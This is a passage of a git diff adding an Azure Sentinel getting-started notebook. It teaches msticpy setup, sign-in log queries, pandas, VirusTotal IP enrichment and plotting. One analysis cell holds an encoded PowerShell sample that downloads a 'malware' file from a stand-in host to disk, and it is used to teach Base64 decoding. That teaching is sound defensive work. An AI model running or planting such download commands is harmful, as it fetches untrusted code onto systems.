\n", + " **Platforms Supported**:\n", + " - Azure Notebooks Free Compute\n", + " - Azure Notebooks DSVM\n", + " - OS Independent\n", + "\n", + "**Data Sources Required**:\n", + " - Log Analytics - SiginLogs (Optional)\n", + " - VirusTotal\n", + " - MaxMind\n", + " \n", + " \n", + "This notebook takes you through the basics needed to get started with Azure Notebooks and Azure Sentinel, and how to perform the basic actions of data acquisition, data enrichment, data analysis, and data visualization. These actions are the building blocks of threat hunting with notebooks and are useful to understand before running more complex notebooks. This notebook only lightly covers each topic but includes 'learn more' sections to provide you with the resource to deep dive into each of these topics. \n", + "\n", + "This notebook assumes that you are running this in an Azure Notebooks environment, however it will work in other Jupyter environments.\n", + "\n", + "**Note:**\n", + "This notebooks uses SigninLogs from your Azure Sentinel Workspace. If you are not yet collecting SigninLogs configure this connector in the Azure Sentinel portal before running this notebook.\n", + "This notebook also uses the VirusTotal API for data enrichment, for this you will require an API key which can be obtained by signing up for a free [VirusTotal community account](\"https://www.virustotal.com/gui/join-us\")\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## What is a Jupyter notebook?\n", + "You are currently reading a Jupyter notebook. [Jupyter](http://jupyter.org/) is an interactive development and data manipulation environment presented in a browser. Using Jupyter you can create documents, called Notebooks. These documents are made up of cells that contain interactive code, alongside that code's output, and other items such as text and images (what you are looking at now is a cell of Markdown text).\n", + "\n", + "The name, Jupyter, comes from the core supported programming languages that it supports: Julia, Python, and R. Whilst you can use any of these languages we are going to use Python in this notebook, in addition the notebooks that come with Azure Sentinel are all written in Python. Whilst there are pros, and cons to each language Python is a well-established language that has a large number of materials and libraries well suited for data analysis and security investigation, making it ideal for our needs.\n", + "\n", + "### Learn more:\n", + " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/introduction.html\") has more details on the technical working of Jupyter.\n", + " - [The Jupyter Project documentation](\"https://jupyter.org/documentation\")\n", + "\n", + "---\n", + "## How to use a Jupyter notebook?\n", + "To use a Jupyter notebook you need a Jupyter server that will render the notebook and execute the code within it. This can take the form of a local [Jupyter installation](https://pypi.org/project/jupyter/), or a remotely hosted version such as [Azure Notebooks](https://notebooks.azure.com/). If you are reading this it is highly likely that you already have a Jupyter server that this notebook is using.\n", + "You can learn more about installing and running your own Jupyter server [here](https://realpython.com/jupyter-notebook-introduction/).\n", + "\n", + "### Using Azure Notebooks\n", + "If you accessed this notebook from Azure Sentinel, you are probably using Azure Notebooks to run this notebook. Azure Notebooks runs in the same way that a local Jupyter server with, except with the additional feature of integrated project management and file storage. When you open a notebook in Azure Notebooks the user interface is nearly identical to a standard Jupyter notebook experience.\n", + "\n", + "Before you can start running code in a notebook you need to make sure that it is connected to a Jupyter server and you have the correct type of kernel configured. For this notebook we are going to be using Python 3.6, hopefully Azure Notebooks has already loaded this kernel for you - you can check this by looking at the top left corner of the screen where you should see the currently connected kernel. \n", + "\n", + "![KernelIssue](https://github.com/Azure/Azure-Sentinel-Notebooks/raw/master/images/nb_img1.png)\n", + "\n", + "If this does not read Python 3.6 you can select the correct kernel by selecting Kernel > Change kernel from the top menu and clicking Python 3.6.\n", + "\n", + "> **Note**: the notebook works with Python 3.6, 3.7 or later. If you are using this notebook in Azure ML or another Jupyter environment you can choose any kernel that supports Python 3.6 or later\n", + "\n", + "![KernelPicker](https://github.com/Azure/Azure-Sentinel-Notebooks/raw/master/images/nb_img2.png)\n", + "\n", + "Once you have done this you should be ready to move onto a code cell.\n", + "> **Tip**: You can identify which cells are code by selecting them and looking at the drop down box at the center of the top menu. It will either read 'Code' (for interactive code cells), 'Markdown' (for Markdown text cells like this one), or RawNBConvert (these are just raw data and not interpreted by Jupyter - they can be used by tools that process notebook files, such as *nbconvert* to render the data into HTML or LaTeX). \n", + "\n", + "If you click on the cell below you should see this box change to 'Code'.\n", + "\n", + "### Learn More:\n", + "More details on Azure Notebooks can be found in the [Azure Notebooks documentation](https://docs.microsoft.com/en-us/azure/notebooks/) and the [Azure Sentinel documentation](https://docs.microsoft.com/en-us/azure/sentinel/notebooks).\n", + "\n", + "---\n", + "## Running code\n", + "Once you have selected a code cell you can run it by clicking the run button at the menu bar at the top, or by pressing Ctrl+Enter.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# This is our first code cell, it contains basic Python code.\n", + "# You can run a code cell by selecting it and clicking the Run button in the top menu, or by pressing Shift + Enter.\n", + "# Once you run a code cell any output from that code will be displayed directly below it.\n", + "print(\"Congratulations you just ran this code cell\")\n", + "y = 2+2\n", + "print(\"2 + 2 =\", y)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Variables set within a code cell persist between cells meaning you can chain cells together" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "y + 2" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn More : \n", + " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/\") provides an infosec specific intro to Python.\n", + " - [Real Pyhton](\"https://realpython.com/\") is a comprehensive set of Python learnings and tutorials.\n", + "
\n", + "
" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Now that you understand the basics we can move onto more complex code.\n", + "\n", + "---\n", + "## Setting up the environment\n", + "Code cells behave in the same way your code would in other environments, so you need to remember about common coding practices such as variable initialization and library imports. \n", + "Before we execute more complex code we need to make sure the required packages are installed and libraries imported. At the top of many of the Azure Sentinel notebooks you will see large cells that will check kernel versions and then install and import all the libraries we are going to be using in the notebook, make sure you run this before running other cells in the notebook.\n", + "If you are running notebooks locally or via dedicated compute in Azure Notebooks library installs will persist but this is not the case with Azure Notebooks free tier, so you will need to install each time you run. Even if running in a static environment imports are required for each run so make sure you run this cell regardless." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from pathlib import Path\n", + "import os\n", + "import sys\n", + "import warnings\n", + "from IPython.display import display, HTML, Markdown\n", + "\n", + "REQ_PYTHON_VER=(3, 6)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", + "\n", + "display(HTML(\"

Starting Notebook setup...

\"))\n", + "# If you did not clone the entire Azure-Sentinel-Notebooks repo you may not have this file\n", + "if Path(\"./utils/nb_check.py\").is_file():\n", + " from utils.nb_check import check_python_ver, check_mp_ver\n", + "\n", + " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", + " try:\n", + " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", + " except ImportError:\n", + " !pip install --user --upgrade msticpy\n", + " if \"msticpy\" in sys.modules:\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", + " else:\n", + " import msticpy\n", + " check_mp_ver(MSTICPY_REQ_VERSION)\n", + " \n", + "from msticpy.nbtools import nbinit\n", + "nbinit.init_notebook(\n", + " namespace=globals(),\n", + " extra_imports=[\"ipwhois, IPWhois, pyyaml\"]\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Configuration\n", + "Once we have set up our Jupyter environment with the libraries that we'll use in the notebook, we need to make sure we have some configuration in place. Some of the notebook components need addtional configuration to connect to external services (e.g. API keys to retrieve Threat Intelligence data). This includes configuration for connection to our Azure Sentinel workspace, as well as some threat intelligence providers we will use later.\n", + "The easiest way to handle the configuration for these services is to store them in a msticpyconfig file (`msticpyconfig.yaml`). More details on msticpyconfig can be found here: https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html\n", + "\n", + "### Learn more: \n", + "- In this notebook we will setup the basic config we need to get started. If you need a more complete walk-through we have a separate notebook to help you: https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n", + "
\n", + "
" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "The Azure-Sentinel-Notebooks GitHub repo contains an template msticpyconfig file ready to be populated. If you have run this notebook before you may have a msticpyconfig file already populated, the cell below allows you to checks if this file. If your config file does not contain details under Azure Sentinel > Workspaces, or TIProviders the following cells will populate these for you.
\n", + "If you want to see an example of what a populated msticpyconfig file should look like a samples is included in the repo as msticpyconfig-sample.yaml." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%pfile msticpyconfig.yaml" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "If you do not have and msticpyconfig file we can populate one for you. Before you do this you will need a few things.\n", + "\n", + "The first is the Workspace ID and Tenant ID of the Azure Sentinel Workspace you wish to connect to.\n", + "\n", + " - You can get the workspace ID by opening Azure Sentinel in the [Azure Portal](\"https://portal.azure.com\") and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", + "\n", + "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](\"https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id\")\n", + "\n", + "We are going to use [VirusTotal](\"https://www.virustotal.com\") to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](\"https://developers.virustotal.com/v3.0/reference#getting-started\") website.\n", + "We are using VirusTotal for this notebook but we also support a range of other threat intelligence providers: https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\n", + "

\n", + "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](\"https://www.maxmind.com\") to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", + "

\n", + "Once you have these required items run the cell below and you will prompted to enter these elements:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "scrolled": true + }, + "outputs": [], + "source": [ + "ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", + " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", + "ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", + " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", + "vt_key = nbwidgets.GetEnvironmentKey(env_var='VT_KEY',\n", + " prompt='Please enter your VirusTotal API Key:', auto_display=True)\n", + "mm_key = nbwidgets.GetEnvironmentKey(env_var='MM_KEY',\n", + " prompt='Please enter your MaxMind API Key:', auto_display=True)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + " The cell below will now populate a msticpyconfig file with these values:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import yaml\n", + "with open(\"msticpyconfig.yaml\") as config:\n", + " data = yaml.load(config, Loader=yaml.Loader)\n", + "data['AzureSentinel']\n", + "\n", + "workspace = {\"Default\":{\"WorkspaceId\": ws_id.value, \"TenantId\": ten_id.value}}\n", + "ti = {\"VirusTotal\":{\"Args\": {\"AuthKey\" : vt_key.value}, \"Primary\" : True, \"Provider\": \"VirusTotal\"}}\n", + "other_prov = {\"GeoIPLite\" : {\"Args\" : {\"AuthKey\" : mm_key.value, \"DBFolder\" : \"~/msticpy\"}, \"Provider\" : \"GeoLiteLookup\"}}\n", + "data['AzureSentinel']['Workspaces'] = workspace\n", + "data['TIProviders'] = ti\n", + "data['OtherProviders'] = other_prov\n", + "\n", + "with open(\"msticpyconfig.yaml\", 'w') as config:\n", + " yaml.dump(data, config)\n", + " \n", + "print(\"msticpyconfig.yaml updated\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can now validate our configuration is correct." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from msticpy.common.pkg_config import refresh_config, validate_config\n", + "refresh_config()\n", + "validate_config()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "> **Note** you may see warnings for missing providers when running this cell.\n", + "> This is not an issue as we will not be using all providers in this notebook\n", + "> so long as you get thie message \"No errors found.\" you are OK to proceed.\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Getting Data\n", + "Now that we have configured the details necessary to connect to Azure Sentinel we can go ahead and get some data. We will do this with `QueryProvider()` from MSTICpy. \n", + "You can use the `QueryProvider` class to connect to different data sources such as MDATP, the Security Graph API, and the one we will use here, Azure Sentinel. \n", + "\n", + "### Learn more:\n", + " - More details on configuring and using QueryProviders can be found in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#instantiating-a-query-provider\").\n", + "

" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "For now, we are going to set up a QueryProvider for Azure Sentinel, pass it the details for our workspace that we just stored in the msticpyconfig file, and connect. The connection process will ask us to authenticate to our Azure Sentinel workspace via [device authorization](\"https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code\") with our Azure credentials. You can do this by clicking the device login code button that appears as the output of the next cell, or by navigating to https://microsoft.com/devicelogin and manually entering the code. Note that this authentication persists with the kernel you are using with the notebook, so if you restart the kernel you will need to re-authenticate.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Initalize a QueryProvider for Azure Sentinel\n", + "qry_prov = QueryProvider(\"LogAnalytics\")\n", + "\n", + "# Get the Azure Sentinel workspace details from msticpyconfig\n", + "try:\n", + " ws_config = WorkspaceConfig()\n", + " md(\"Workspace details collected from config file\")\n", + "except:\n", + " raise(\"No workspace settings are configured, please run the cells above to configure these.\")\n", + " \n", + "# Connect to Azure Sentinel with our QueryProvider and config details\n", + "# ws_config.code_connect_str is a feature of MSTICpy that creates the required connection string from details in our msticpyconfig\n", + "qry_prov.connect(connection_str=ws_config.code_connect_str)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Now that we have connected we can query Azure Sentinel for data, but before we do that we need to understand what data is avalaible to query. The QueryProvider object provides a way to get a list of tables as well as tables and table columns:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Get list of tables in our Workspace\n", + "display(qry_prov.schema_tables [:5]) # We are outputting only the first 5 tables for brevity\n", + "# Get list of tables and thier columns\n", + "qry_prov.schema['SigninLogs'] # We are only displaying the columns for SigninLogs for brevity" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "MSTICpy includes a number of built in queries that you can run.
\n", + "You can list available queries with .list_queries() and get specific details about a query by calling it with \"?\" as a parameter" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Get a list of avaliable queries\n", + "qry_prov.list_queries()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Get details about a query\n", + "qry_prov.Azure.list_all_signins_geo(\"?\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "You can then run the query by calling it with the required parameters:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from datetime import datetime, timedelta\n", + "# set our query end time as now\n", + "end = datetime.now()\n", + "# set our query start time as 1 hour ago\n", + "start = end - timedelta(hours=1)\n", + "# run query with specified start and end times\n", + "logons_df = qry_prov.Azure.list_all_signins_geo(start=start, end=end)\n", + "# display first 5 rows of any results\n", + "logons_df.head() # If you have no data you will just see the column headings displayed" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Another way to run queries is to pass a string format of a KQL query to the query provider, this will run the query against the workspace connected to above, and will return the data in a [Pandas DataFrame](\"https://pandas.pydata.org/\"). We will look at working with Pandas in a bit more detail later." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Define our query\n", + "test_query = \"\"\"\n", + "SigninLogs\n", + "| where TimeGenerated > ago(7d)\n", + "| take 10\n", + "\"\"\"\n", + "\n", + "# Pass that query to our QueryProvider\n", + "test_df = qry_prov.exec_query(test_query)\n", + "\n", + "# Check that we have some data\n", + "if isinstance(test_df, pd.DataFrame) and not test_df.empty:\n", + " # .head() returns the first 5 rows of our results DataFrame\n", + " display(test_df.head())\n", + "# If where is no data load some sample data to use instead\n", + "else:\n", + " md(\"You don't appear to have any SigninLogs - we will load sample data for you to use.\")\n", + " qry_prov = QueryProvider(\"LocalData\", data_paths=[\"nbdemo/data/\"], query_paths=[\"nbdemo/data/\"])\n", + " logons_df = qry_prov.Azure.list_all_signins_geo()\n", + " display(logons_df.head())" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + " - You can learn more about the MSTICpy pre-defined queries in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#running-an-pre-defined-queryl\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Pandas\n", + "Our query results are returned in the form of a Pandas DataFrame. DataFrames are a core component of the Azure Sentinel notebooks and of MSTICpy and is used for both input and output formats.\n", + "Pandas DataFrames are incredibly versitile data structures with a lot of useful features, we will cover a small number of them here and we recommend that you check out the Learn more section to learn more about Pandas features.\n", + "
\n", + "
\n", + "### Displaying a DataFrame:\n", + "The first thing we want to do is display our DataFrame. You can either just run it or explicity display it by calling `display(df)`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# For this section we are going to create a DataFrame from data we have saved in a csv file\n", + "df = pd.read_csv(\"https://raw.githubusercontent.com/microsoft/msticpy/master/tests/testdata/host_logons.csv\", index_col=[0] )\n", + "# Display our DataFrame\n", + "df # or display(df)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "> **Note** if the dataframe variable (`df` in the example above) is the last statement in a \n", + "> code cell, Jupyter will automatically display it without using the `display()` function. \n", + "> However, if you want to display a DataFrame in the middle of \n", + "> other code in a cell you must use the `display()` function.\n", + "\n", + "You may not want to display the whole DataFrame and instead display only a selection of items. There are numerous ways to do this and the cell below shows some of the most widely used functions." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display the first 2 rows using head(): \", \"bold\")\n", + "display(df.head(2)) # we don't need to call display here but just for illustration" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display the 3rd row using iloc[]: \", \"bold\")\n", + "df.iloc[3]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Show the column names in the DataFrame \", \"bold\")\n", + "df.columns" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display just the TimeGenerated and TenantId columnns: \", \"bold\")\n", + "df[[\"TimeGenerated\", \"TenantId\"]]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can also choose to select a subsection of our DataFrame based on the contents of the DataFrame:\n", + "\n", + "> **Tip**: the syntax in these examples is using a technique called *boolean indexing*. \n", + ">
`df[]`\n", + "> returns all rows in the dataframe where the boolean expression is True\n", + ">
In the first example we telling pandas to return all rows where the column value of\n", + "> 'TargetUserName' matches 'MSTICAdmin'" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display only rows where TargetUserName value is 'MSTICAdmin': \", \"bold\")\n", + "df[df['TargetUserName']==\"MSTICAdmin\"]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display rows where TargetUserName is either MSTICAdmin or adm1nistratror:\", \"bold\")\n", + "display(df[df['TargetUserName'].isin(['adm1nistrator', 'MSTICAdmin'])])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Our DataFrame call also be extended to add new columns with additional data if reqired:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "df[\"NewCol\"] = \"Look at my new data!\"\n", + "display(df[[\"TenantId\",\"Account\", \"TimeGenerated\", \"NewCol\"]].head(2))" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + "There is a lot more you can do with Pandas, the links below provide some useful resources:\n", + " - [Getting starting with Pandas](\"https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html\")\n", + " - [Infosec Jupyerbook intro to Pandas](\"https://infosecjupyterbook.com/notebooks/tutorials/03_intro_to_pandas.html\")\n", + " - [A great list of Pandas hints and tricks](\"https://www.dataschool.io/python-pandas-tips-and-tricks/\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Enriching data\n", + "\n", + "Now that we have seen how to query for data, and do some basic manipulation we can look at enriching this data with additional data sources. For this we are going to use an external threat intelligence provider to give us some more details about an IP address we have in our dataset using the [MSTICpy TIProvider](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\") feature." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from datetime import datetime, timedelta\n", + "# Check if we have logon data already and if not get some\n", + "if not isinstance(logons_df, pd.DataFrame) or logons_df.empty:\n", + " # set our query end time as now\n", + " end = datetime.now()\n", + " # set our query start time as 1 hour ago\n", + " start = end - timedelta(days=1)\n", + " # run query with specified start and end times\n", + " logons_df = qry_prov.Azure.list_all_signins_geo(start=start, end=end)\n", + " \n", + "# Create our TI provider\n", + "ti = TILookup()\n", + "# Get the first logon IP address from our dataset\n", + "ip = logons_df.iloc[1]['IPAddress']\n", + "# Look up the IP in VirusTotal\n", + "ti_resp = ti.lookup_ioc(ip, providers=[\"VirusTotal\"])\n", + "\n", + "# Format our results as a DataFrame\n", + "ti_resp = ti.result_to_df(ti_resp)\n", + "display(ti_resp)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Using the [Pandas apply()](\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.apply.html\") feature we can get results for all the IP addresses in our data set and add the lookup severity score as a new column in our DataFrame for easier reference." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Take the IP address in each row, look it up against TI and return the seveirty score\n", + "def lookup_res(row):\n", + " ip = row['IPAddress']\n", + " resp = ti.lookup_ioc(ip, providers=[\"VirusTotal\"])\n", + " resp = ti.result_to_df(resp)\n", + " return resp[\"Severity\"].iloc[0]\n", + "\n", + "# Take the first 3 rows of data and copy they into a new DataFrame\n", + "enrich_logons_df = logons_df.iloc[:3].copy()\n", + "# Create a new column called TIRisk and populate that with the TI severity score of the IP Address in that row\n", + "enrich_logons_df['TIRisk'] = enrich_logons_df.apply(lookup_res, axis=1)\n", + "# Display a subset of columns from our DataFrame\n", + "enrich_logons_df[[\"TimeGenerated\", \"ResultType\", \"UserPrincipalName\", \"IPAddress\", \"TIRisk\"]]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + "MSTICpy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the [documentation](\"https://msticpy.readthedocs.io/en/latest/DataEnrichment.html\")." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Analyzing data\n", + "With the data we have collected we may wish to perform some analysis on it in order to better understand it. MSTICpy includes a number of features to help with this, and there are a vast array of other data analysis capabilities available via Python ranging from simple processes to complex ML models. We will start here by keeping it simple and look at how we can decode some Base64 encoded command line strings we have in order to allow us to understand their content." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from msticpy.sectools import base64unpack as b64\n", + "# Take our encoded Powershell Command\n", + "b64_cmd = \"powershell.exe -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jb250b3NvLmNvbS9tYWx3YXJlIC1PdXRGaWxlIEM6XG1hbHdhcmUuZXhl\"\n", + "# Unpack the Base64 encoded elements\n", + "unpack_txt = b64.unpack(input_string=b64_cmd)\n", + "# Display our results and transform for easier reading\n", + "unpack_txt[1].T" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can also use MSTICpy to extract Indicators of Compromise (IoCs) from a dataset, this makes it easy to extract and match on a set of IoCs within our data. In the example below we take a US Cybersecurity & Infrastructure Security Agency (CISA) report and extract all domains listed in the report:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import requests\n", + "# Set up our IoCExtract oject\n", + "ioc_extractor = iocextract.IoCExtract()\n", + "# Download our threat report\n", + "data = requests.get(\"https://www.us-cert.gov/sites/default/files/publications/AA20-099A_WHITE.stix.xml\")\n", + "# Extract domains listed in our report\n", + "iocs = ioc_extractor.extract(data.text, ioc_types=\"dns\")['dns']\n", + "# Display the first 5 iocs found in our report\n", + "list(iocs)[:5]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + "There are a wide range of options when it comes to data analysis in notebooks using Python. Here are some useful resources to get you started:\n", + " - [MSITCpy DataAnalysis documentation](\"https://msticpy.readthedocs.io/en/latest/DataAnalysis.html\")\n", + " - Scikit-Learn is a popular Python ML data analysis library, which has a useful [tutorial](\"https://scikit-learn.org/stable/tutorial/basic/tutorial.html\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Visualizing data\n", + "Visualizing data can provide an excellent way to analyse data, identify patterns and anomalies. Python has a wide range of data visualization capabilities each of which have thier own benefits and drawbacks. We will look at some basic capabilities as well as the in-build visualizations in MSTICpy.\n", + "


\n", + "**Basic Graphs**
\n", + "Pandas and Matplotlib provide the easiest and simplest way to produce simple plots of data:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "vis_q = \"\"\"\n", + "SigninLogs\n", + "| where TimeGenerated > ago(7d)\n", + "| sample 5\"\"\"\n", + "\n", + "# Try and query for data but if using sample data load that instead\n", + "try:\n", + " vis_data = qry_prov.exec_query(vis_q)\n", + "except FileNotFoundError:\n", + " vis_data = logons_df\n", + "\n", + "# Check we have some data in our results and if not use previously used dataset\n", + "if not isinstance(vis_data, pd.DataFrame) or vis_data.empty:\n", + " vis_data = logons_df\n", + "\n", + "# Plot up to the first 5 IP addresses\n", + "vis_data.head()[\"IPAddress\"].value_counts().plot.bar(\n", + " title=\"IP prevelence\", legend=False\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "pie_df = vis_data.copy()\n", + " # If we have lots of data just plot the first 5 rows\n", + "pie_df.head()['IPAddress'].value_counts().plot.pie(legend=True)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + " - The [Infosec Jupyterbook](\"https://infosecjupyterbook.com/\") includes a section on data visualization.\n", + " - [Bokeh Library Documentation](\"https://bokeh.org/\")\n", + " - [Matplotlib tutorial](\"https://matplotlib.org/3.2.0/tutorials/index.html\")\n", + " - [Seaborn visualization library tutorial](\"https://seaborn.pydata.org/tutorial.html\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Conclusion\n", + "This notebook has showed you the basics of using notebooks and Azure Sentinel for security investigaitons. There are many more things possible using notebooks and it is stronly encouraged to read the material we have referenced in the learn more sections in this notebook. You can also explore the other Azure Sentinel notebooks in order to take advantage of the pre-built hunting logic, and understand other analysis techniques that are possible.
\n", + "### Appendix:\n", + " - [Jupyter Notebooks: An Introduction](\"https://realpython.com/jupyter-notebook-introduction/\")\n", + " - [Threat Hunting in the cloud with Azure Notebooks](\"https://medium.com/@maarten.goet/threat-hunting-in-the-cloud-with-azure-notebooks-supercharge-your-hunting-skills-using-jupyter-8d69218e7ca0\")\n", + " - [MSTICpy documentation](\"https://msticpy.readthedocs.io/\")\n", + " - [Azure Sentinel Notebooks documentation](\"https://docs.microsoft.com/en-us/azure/sentinel/notebooks\")\n", + " - [The Infosec Jupyterbook](\"https://infosecjupyterbook.com/introduction.html\")\n", + " - [Linux Host Explorer Notebook walkthrough](\"https://techcommunity.microsoft.com/t5/azure-sentinel/explorer-notebook-series-the-linux-host-explorer/ba-p/1138273\")\n", + " - [Why use Jupyter for Security Investigations](\"https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729\")\n", + " - [Security Investigtions with Azure Sentinel & Notebooks](\"https://techcommunity.microsoft.com/t5/azure-sentinel/security-investigation-with-azure-sentinel-and-jupyter-notebooks/ba-p/432921\")\n", + " - [Pandas Documentation](\"https://pandas.pydata.org/pandas-docs/stable/user_guide/index.html\")\n", + " - [Bokeh Documentation](\"https://docs.bokeh.org/en/latest/\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3.6", + "language": "python", + "name": "python36" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.6.7" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "state": {}, + "version_major": 2, + "version_minor": 0 + } + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/Getting Started with Azure Sentinel Notebooks.ipynb b/Getting Started with Azure Sentinel Notebooks.ipynb index 368565ec..2a6eb0f0 100644 --- a/Getting Started with Azure Sentinel Notebooks.ipynb +++ b/Getting Started with Azure Sentinel Notebooks.ipynb @@ -1,953 +1,894 @@ { - "cells": [ - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "# Getting Started with Azure 